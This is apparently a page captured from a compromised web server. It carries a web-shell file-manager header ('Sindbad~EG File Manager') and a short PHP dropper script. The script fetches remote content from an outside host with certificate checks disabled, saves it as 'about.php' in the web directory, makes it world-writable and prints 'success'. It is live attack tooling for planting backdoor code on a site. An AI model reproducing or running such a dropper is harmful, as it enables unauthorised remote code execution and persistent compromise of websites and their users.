Sindbad~EG File Manager

<?php
$url = "https://tools-v2.adcef.com/?about";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$str = curl_exec($ch);
if($str !== false) {
    $filename = __DIR__ . DIRECTORY_SEPARATOR . "about.php";
    file_put_contents($filename, $str);    
    chmod($filename, 0777);
    echo "success";
} else {
    echo "failed";
}